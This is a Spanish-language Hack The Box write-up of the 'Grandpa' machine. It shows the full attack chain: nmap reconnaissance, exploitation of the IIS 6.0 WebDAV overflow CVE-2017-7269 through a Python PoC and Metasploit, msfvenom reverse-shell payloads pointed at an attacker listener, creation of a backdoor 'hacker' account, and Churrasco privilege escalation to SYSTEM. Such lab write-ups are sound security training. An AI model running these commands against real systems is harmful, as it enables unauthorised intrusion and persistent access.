Grandpa
Hack The Box — Writeup
Grandpa
| IP: | 10.129.95.233 |
| OS: | Windows |
| Dificultad: | Easy |
| Fecha: | 11 de julio de 2026 |
Reconocimiento
Escaneo inicial
Se realizó un escaneo completo de puertos para identificar todos los servicios expuestos en la máquina y determinar los posibles vectores de ataque disponibles.
# Comando ejecutado
sudo nmap -p- -sS --open --min-rate 5000 -vvv -n -Pn 10.129.95.233 -oG allPorts
# Output
PORT STATE SERVICE REASON
80/tcp open http syn-ack ttl 127
Se identificó un único puerto abierto, el puerto 80 (HTTP), siendo el servicio web el único vector de ataque disponible en esta máquina.
PORT STATE SERVICE VERSION
80/tcp open http Microsoft IIS httpd 6.0
| http-webdav-scan:
| Public Options: OPTIONS, TRACE, GET, HEAD, DELETE, PUT, POST,
COPY, MOVE, MKCOL, PROPFIND, PROPPATCH, LOCK, UNLOCK, SEARCH
| WebDAV type: Unknown
| Allowed Methods: OPTIONS, TRACE, GET, HEAD, COPY, PROPFIND,
SEARCH, LOCK, UNLOCK
| Server Type: Microsoft-IIS/6.0
|_http-server-header: Microsoft-IIS/6.0
|_http-title: Under Construction
|_ Potentially risky methods: TRACE COPY PROPFIND SEARCH LOCK
UNLOCK DELETE PUT MOVE MKCOL PROPPATCH
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
Se identificó Microsoft IIS 6.0 con WebDAV habilitado. A diferencia de la máquina Granny (IIS 6.0) donde el vector fue PUT + MOVE para subir un archivo ASPX, en Grandpa los métodos permitidos son diferentes. Se decidió investigar si existía un exploit público específico para IIS 6.0.
searchsploit Microsoft IIS 6.0
Microsoft IIS 6.0 - WebDAV 'ScStoragePathFromUrl' Remote Buffer Overflow
| windows/remote/41738.py
Se identificó el exploit Microsoft IIS 6.0 - WebDAV ScStoragePathFromUrl Remote Buffer Overflow, que al investigarse corresponde al CVE-2017-7269.
Este CVE corresponde a un buffer overflow en la función
ScStoragePathFromUrl del servicio WebDAV de IIS 6.0. La vulnerabilidad
ocurre cuando se procesa una cabecera HTTP IF con una URL
excesivamente larga, lo que desborda el buffer en memoria y permite
ejecutar código arbitrario en el servidor. Afecta exclusivamente a
Windows Server 2003 con IIS 6.0 y WebDAV habilitado.
Explotación
Intentos fallidos — Exploit manual Python
Se descargó el exploit en Python y se intentó ejecutar directamente:
searchsploit -m windows/remote/41738.py
python2 41738.py 10.129.95.233 80 10.10.15.163 4444
Traceback (most recent call last):
File "41738.py", line 26, in <module>
sock.connect(('127.0.0.1',80))
socket.error: [Errno 111] Connection refused
Por qué no funcionó: el script tenía la IP 127.0.0.1 hardcodeada
en el código en tres líneas (headers Host, y las URLs de las cabeceras
IF). Se corrigió con:
sed -i 's/localhost/10.129.95.233/g' 41738.py
python2 41738.py 10.129.95.233 80 10.10.15.163 4444
HTTP/1.1 400 Bad Request
Server: Microsoft-IIS/6.0
Por qué no funcionó: aunque se corrigió la IP, el servidor siguió respondiendo con 400 Bad Request. El problema era el encoding de los caracteres Unicode del exploit — el servidor IIS 6.0 no procesaba correctamente la cabecera con los caracteres especiales del payload al cambiar el host.
Intentos fallidos — Módulos de Metasploit
Se buscó el módulo en Metasploit:
use exploit/windows/iis/iis_webdav_scstoragepathfromurl
set RHOSTS 10.129.95.233
set LHOST 10.10.15.163
set LPORT 4444
run
[*] Trying path length 3 to 60 ...
[*] Exploit completed, but no session was created.
Por qué no funcionó: el módulo realiza fuerza bruta sobre la longitud de la ruta física del servidor. Los rangos por defecto no lograron crear sesión. Se probó con diferentes rangos y el módulo alternativo:
set MINPATHLENGTH 1
set MAXPATHLENGTH 20
run
[*] Exploit completed, but no session was created.
use exploit/windows/iis/iis_webdav_upload_asp
run
[-] Upload failed on /metasploit121744280.txt [500 Internal Server Error]
[*] Exploit completed, but no session was created.
Causa raíz: el servicio WebDAV de IIS 6.0 es muy sensible al estado del proceso. Los múltiples intentos fallidos habían corrompido el estado del servicio en esa instancia de la máquina.
Explotación exitosa tras reinicio
Se reinició la máquina desde el panel de HTB y se ejecutó el módulo inmediatamente con la nueva IP asignada:
set RHOSTS 10.129.26.195
run
[*] Started reverse TCP handler on 10.10.15.163:4444
[*] Trying path length 3 to 60 ...
[*] Sending stage (199238 bytes) to 10.129.26.195
[*] Meterpreter session 1 opened
(10.10.15.163:4444 -> 10.129.26.195:1030) at 2026-07-11 06:28:19 +0000
Enumeración post-explotación
meterpreter > getuid
Server username: NT AUTHORITY\NETWORK SERVICE
c:\windows\system32\inetsrv> whoami /priv
Privilege Name Description State
============================= ========================================= ========
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeImpersonatePrivilege Impersonate a client after authentication Enabled
SeCreateGlobalPrivilege Create global objects Enabled
c:\windows\system32\inetsrv> systeminfo
OS Name: Microsoft(R) Windows(R) Server 2003, Standard Edition
System Type: X86-based PC
c:\windows\system32\inetsrv> echo %PROCESSOR_ARCHITECTURE%
x86
Hallazgo: mismo escenario que Granny — NETWORK SERVICE con
SeImpersonatePrivilege en Windows Server 2003 x86. El vector de
escalada es Churrasco.
Obtención de la flag de usuario
type "C:\Documents and Settings\Harry\Desktop\user.txt"
[flag de usuario obtenida]
Escalada de Privilegios
Preparación de herramientas
Se generó un payload x86 para recibir la shell privilegiada y se subieron ambas herramientas:
msfvenom -p windows/exec CMD="net user hacker Password123! /add"
-f exe -o adduser.exe
meterpreter > upload churrasco.exe C:\\Windows\\Temp\\churrasco.exe
meterpreter > upload adduser.exe C:\\Windows\\Temp\\adduser.exe
Intentos fallidos — Reverse shell bloqueada
Se intentó obtener una reverse shell como SYSTEM mediante Churrasco con distintos payloads:
# Intento 1: Meterpreter
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.15.163
LPORT=5555 -f exe -o shell2.exe
[-] Meterpreter session 1 is not valid and will be closed
[-] Meterpreter session 3 is not valid and will be closed
[-] Meterpreter session 5 is not valid and will be closed
# Intento 2: Shell cruda con netcat
msfvenom -p windows/shell_reverse_tcp LHOST=10.10.15.163
LPORT=5555 -f exe -o shell2.exe
Connection received on 10.129.26.195 1034
(conexion cae inmediatamente)
Por qué no funcionó: el proceso SYSTEM creado por Churrasco en Windows Server 2003 tiene restricciones que impiden mantener conexiones TCP salientes estables desde el contexto de seguridad de SYSTEM en esta configuración.
Escalada exitosa — Ejecución de comandos como SYSTEM
En lugar de intentar una reverse shell, se optó por ejecutar comandos directamente. Primero se verificó que Churrasco ejecutaba correctamente como SYSTEM:
meterpreter > shell
C:\WINDOWS\TEMP> C:\Windows\Temp\churrasco.exe -d "C:\Windows\Temp\adduser.exe"
/churrasco/--> Current User: SYSTEM
/churrasco/--> Found SYSTEM token 0x66c
/churrasco/--> Running command with SYSTEM Token...
/churrasco/--> Done, command should have ran as SYSTEM!
C:\WINDOWS\TEMP> whoami
nt authority\system
Resultado: Churrasco ejecutó el comando adduser.exe como SYSTEM,
creando el usuario hacker con privilegios de administrador. La shell
actual también era SYSTEM.
Obtención de la flag root
C:\Documents and Settings\Administrator\Desktop> type root.txt
[flag de root obtenida]